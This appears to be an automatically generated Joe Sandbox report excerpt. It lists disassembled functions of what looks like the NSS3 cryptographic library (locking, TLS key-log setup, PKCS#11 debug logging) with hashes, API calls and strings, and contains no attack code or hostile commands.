Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 02095c99fa3779c7759617a6e97f1c3e454a2e9d19129a31feacf072b3f28145
Instruction ID: ca924c3fbb898a21e1021e99530074044d787cea449d88193525516eb3539a4f
Opcode Fuzzy Hash: 02095c99fa3779c7759617a6e97f1c3e454a2e9d19129a31feacf072b3f28145
Instruction Fuzzy Hash: 9B513EB1E902159BEB009BA6DC40BAE7378BF4670CF304029E815ABF41E771D90AC762

Function 6CE84C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE84C4C
EnterCriticalSection.KERNEL32(?), ref: 6CE84C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE84CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CE84CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE84CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE84D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE84D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE84DB7

Part of subcall function 6CEEDD70: TlsGetValue.KERNEL32 ref: 6CEEDD8C
Part of subcall function 6CEEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEEDDB4

Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307AD
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307CD
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDC204A), ref: 6CE307D6
Part of subcall function 6CE307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDC204A), ref: 6CE307E4
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,6CDC204A), ref: 6CE30864
Part of subcall function 6CE307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE30880
Part of subcall function 6CE307A0: TlsSetValue.KERNEL32(00000000,?,?,6CDC204A), ref: 6CE308CB
Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(?,?,6CDC204A), ref: 6CE308D7
Part of subcall function 6CE307A0: TlsGetValue.KERNEL32(?,?,6CDC204A), ref: 6CE308FB

TlsGetValue.KERNEL32 ref: 6CE84DD7
EnterCriticalSection.KERNEL32(?), ref: 6CE84DEC
PR_Unlock.NSS3(?), ref: 6CE84E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CE84E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE84E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CE84E71
free.MOZGLUE(00000000), ref: 6CE84E7A
PR_Unlock.NSS3(?), ref: 6CE84EA2
TlsGetValue.KERNEL32 ref: 6CE84EC1
EnterCriticalSection.KERNEL32(?), ref: 6CE84ED6
PR_Unlock.NSS3(?), ref: 6CE84F01
free.MOZGLUE(00000000), ref: 6CE84F2A

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: e6c48c7b7d2e4683820415e258e60a5a8c7d3db34ea4c8e3a9a54dd5d4b9601c
Instruction ID: 6e8fb253a28d07a3840bd131339781e0be0a2a0f15c0e64fce61706da38c1b17
Opcode Fuzzy Hash: e6c48c7b7d2e4683820415e258e60a5a8c7d3db34ea4c8e3a9a54dd5d4b9601c
Instruction Fuzzy Hash: 53B10375E012059FDB00EF68D854B9A77B8FF0A31CF24512AED199BB40EB30E955CB91

Function 6CE8FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE8FFB4

Part of subcall function 6CF098D0: calloc.MOZGLUE(00000001,00000084,6CE30936,00000001,?,6CE3102C), ref: 6CF098E5

PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE8FFC6

Part of subcall function 6CF098D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF09946
Part of subcall function 6CF098D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDC16B7,00000000), ref: 6CF0994E
Part of subcall function 6CF098D0: free.MOZGLUE(00000000), ref: 6CF0995E

PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE8FFD6
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE8FFE6
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE8FFF6
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE90006
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE90016
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE90026
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE90036
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE90046
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE90056
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE90066
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE90076
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE90086
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE90096
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE900A6
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE900B6
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE900C6
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE900D6
PR_NewLock.NSS3(?,?,6CE876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CE900E6

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 32ce6186a4327b037422bf1ae4137fe6555a2eac90042dbd44060562c55e255c
Instruction ID: 560176631e69f9d443f4808245d18b48ffdc9c66758794772b550933fca52b3e
Opcode Fuzzy Hash: 32ce6186a4327b037422bf1ae4137fe6555a2eac90042dbd44060562c55e255c
Instruction Fuzzy Hash: 783102F0F26714DE8BC5DFA7A15834DBBF4B717A08B50611AD80C86B02EBB60249DF95

Function 6CED6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CED6BF7), ref: 6CED6EB6

Part of subcall function 6CE31240: TlsGetValue.KERNEL32(00000040,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE31267
Part of subcall function 6CE31240: EnterCriticalSection.KERNEL32(?,?,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE3127C
Part of subcall function 6CE31240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE31291
Part of subcall function 6CE31240: PR_Unlock.NSS3(?,?,?,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE312A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CF7FC0A,6CED6BF7), ref: 6CED6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CED6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CED6EFC
PR_NewLock.NSS3 ref: 6CED6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CED6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CED6BF7), ref: 6CED6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CED6BF7), ref: 6CED6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CED6BF7), ref: 6CED6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CED6BF7), ref: 6CED6FFD

Strings

NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CED6F4F
SSLKEYLOGFILE, xrefs: 6CED6EB1
SSLFORCELOCKS, xrefs: 6CED6F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CED6FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CED6FF8
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CED6EF7

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 7b34f18b61c02cf23a6d9dc565345c4354e59096cc6373fe3db784dd6a7d5e24
Instruction ID: cb3e40315ebe8b684f9cef9ddf4e8d72f52cc6b4bdd2311a172cbc3c35028aba
Opcode Fuzzy Hash: 7b34f18b61c02cf23a6d9dc565345c4354e59096cc6373fe3db784dd6a7d5e24
Instruction Fuzzy Hash: 16A129B3E65D81CAE7504B6CE80134876B1AB47329F7A4769E832C6FD8DB75B4438342

Function 6CE55DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE55DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CE55E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CE55E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CE55E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CE55EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CE55ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CE55F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CE55F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE55F89
free.MOZGLUE(?), ref: 6CE55FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE55FB6
free.MOZGLUE(00000000), ref: 6CE55FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE5600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE56079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE56084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE56094

Strings

, xrefs: 6CE55EEB

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 8628e527487fe0866d468b35cb1afba4843169f2c442aad06156455958b6ed44
Instruction ID: 74710f4cd5e90513d19ac065c6729d98173d84b3e3428ce7bf8a40dc4c196e3b
Opcode Fuzzy Hash: 8628e527487fe0866d468b35cb1afba4843169f2c442aad06156455958b6ed44
Instruction Fuzzy Hash: DD81E5B1E012059BDF108B64DC81BAE77B5AF4531CF744128E919A7791EB33E924CBE1

Function 6CE76D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CE76D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE76DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE76DC3

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE76DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE76DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE76E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CE76E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CE76E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CE76EB9

Strings

hSession = 0x%x, xrefs: 6CE76D9E, 6CE76DAE
pData = 0x%p, xrefs: 6CE76DF5
(CK_INVALID_HANDLE), xrefs: 6CE76DBC
pDigest = 0x%p, xrefs: 6CE76E27
ulDataLen = %d, xrefs: 6CE76E0E
*pulDigestLen = 0x%x, xrefs: 6CE76EB4
pulDigestLen = 0x%p, xrefs: 6CE76E42
C_Digest, xrefs: 6CE76D81

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: b114c3ed1e6176d3186c10b9769dd20fdf9beb60dc2e4331f71073fef56065d7
Instruction ID: a7e76cc01a444e29fcbf287367e17812e4c7bf57cdbf25b412319c7c07a86a1f
Opcode Fuzzy Hash: b114c3ed1e6176d3186c10b9769dd20fdf9beb60dc2e4331f71073fef56065d7
Instruction Fuzzy Hash: 6C41E371B11004EFDB109BA1ED48B8E7BB5EB8230CF554054F908A7B11DB32A918CBB1

Function 6CE79C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CE79C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE79C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE79CA3

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE79CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CE79CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE79CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE79D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CE79D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CE79D42

Strings

hSession = 0x%x, xrefs: 6CE79C7E, 6CE79C8E
(CK_INVALID_HANDLE), xrefs: 6CE79C9C
ulUsernameLen = %d, xrefs: 6CE79D3D
pPin = 0x%p, xrefs: 6CE79CF0
C_LoginUser, xrefs: 6CE79C61
ulPinLen = %d, xrefs: 6CE79D0B
pUsername = 0x%p, xrefs: 6CE79D24
userType = 0x%x, xrefs: 6CE79CD5

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: f60b0700908216b4b03ddc2532daa0628b8736b6a5b25f60f26d7dc1ab6687fe
Instruction ID: 2cde9bf91c04be2f7bceb45aaa23e0acf0a151f71bf43289d2e106e4d7bce558
Opcode Fuzzy Hash: f60b0700908216b4b03ddc2532daa0628b8736b6a5b25f60f26d7dc1ab6687fe
Instruction Fuzzy Hash: 0541C471B01104EBDB10DF91EE48B8E7BB5AF4230DF954029EA0967B11DB329818DBA2

Function 6CE31FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CE32007
calloc.MOZGLUE(00000001,00000084), ref: 6CE32077
calloc.MOZGLUE(00000001,0000002C), ref: 6CE320DF
TlsSetValue.KERNEL32(00000000), ref: 6CE32188
PR_NewCondVar.NSS3 ref: 6CE321B7
calloc.MOZGLUE(00000001,00000084), ref: 6CE3221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CE322C2
GetLastError.KERNEL32 ref: 6CE322CD
free.MOZGLUE(00000000), ref: 6CE322DD

Part of subcall function 6CE30F00: PR_GetPageSize.NSS3(6CE30936,FFFFE8AE,?,6CDC16B7,00000000,?,6CE30936,00000000,?,6CDC204A), ref: 6CE30F1B
Part of subcall function 6CE30F00: PR_NewLogModule.NSS3(clock,6CE30936,FFFFE8AE,?,6CDC16B7,00000000,?,6CE30936,00000000,?,6CDC204A), ref: 6CE30F25

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: 8ba856782aa6059d4f0d64c0961ff3a4eab060b48f262d1d3685b7625e93e91a
Instruction ID: 55855fe202f5ca35714173e6dca30eb26deb74180deb08111ae297d800fcea6a
Opcode Fuzzy Hash: 8ba856782aa6059d4f0d64c0961ff3a4eab060b48f262d1d3685b7625e93e91a
Instruction Fuzzy Hash: 8B918A70B11721CFDBA49F799C0975BBAF4AB06708F20842AE49ED6B41DB71A009CF91

Function 6CF59C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CF59C70
PR_NewLock.NSS3 ref: 6CF59C85

Part of subcall function 6CF098D0: calloc.MOZGLUE(00000001,00000084,6CE30936,00000001,?,6CE3102C), ref: 6CF098E5

PR_NewCondVar.NSS3(00000000), ref: 6CF59C96

Part of subcall function 6CE2BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE321BC), ref: 6CE2BB8C

PR_NewLock.NSS3 ref: 6CF59CA9

Part of subcall function 6CF098D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF09946
Part of subcall function 6CF098D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDC16B7,00000000), ref: 6CF0994E
Part of subcall function 6CF098D0: free.MOZGLUE(00000000), ref: 6CF0995E

PR_NewLock.NSS3 ref: 6CF59CB9
PR_NewLock.NSS3 ref: 6CF59CC9
PR_NewCondVar.NSS3(00000000), ref: 6CF59CDA

Part of subcall function 6CE2BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE2BBEB
Part of subcall function 6CE2BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE2BBFB
Part of subcall function 6CE2BB80: GetLastError.KERNEL32 ref: 6CE2BC03
Part of subcall function 6CE2BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE2BC19
Part of subcall function 6CE2BB80: free.MOZGLUE(00000000), ref: 6CE2BC22

PR_NewCondVar.NSS3(?), ref: 6CF59CF0
PR_NewPollableEvent.NSS3 ref: 6CF59D03

Part of subcall function 6CF4F3B0: PR_CallOnce.NSS3(6CFA14B0,6CF4F510), ref: 6CF4F3E6
Part of subcall function 6CF4F3B0: PR_CreateIOLayerStub.NSS3(6CFA006C), ref: 6CF4F402
Part of subcall function 6CF4F3B0: PR_Malloc.NSS3(00000004), ref: 6CF4F416
Part of subcall function 6CF4F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CF4F42D
Part of subcall function 6CF4F3B0: PR_SetSocketOption.NSS3(?), ref: 6CF4F455
Part of subcall function 6CF4F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CF4F473

Part of subcall function 6CF09890: TlsGetValue.KERNEL32(?,?,?,6CF097EB), ref: 6CF0989E

EnterCriticalSection.KERNEL32(?), ref: 6CF59D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CF59DAF
_PR_CreateThread.NSS3(00000000,6CF59EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF59D9F

Part of subcall function 6CE2B3C0: TlsGetValue.KERNEL32 ref: 6CE2B403
Part of subcall function 6CE2B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CE2B459

_PR_CreateThread.NSS3(00000000,6CF5A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF59DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CF59DFC
_PR_CreateThread.NSS3(00000000,6CF5A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF59E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CF59E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CF59E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF59E89

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 568a4b8ac0ea06ef939683b929f0befcbfe93d3a433819497c6bf23b37830073
Instruction ID: 054d9e3f2e4ddb9536a45b79524fe966c78b08fad917160b2b7c86a999b7efb0
Opcode Fuzzy Hash: 568a4b8ac0ea06ef939683b929f0befcbfe93d3a433819497c6bf23b37830073
Instruction Fuzzy Hash: B1615EB1A00706AFD714DF75C854AA7BBF8FF08208B544529E95AC7B11EB30E925CBA1

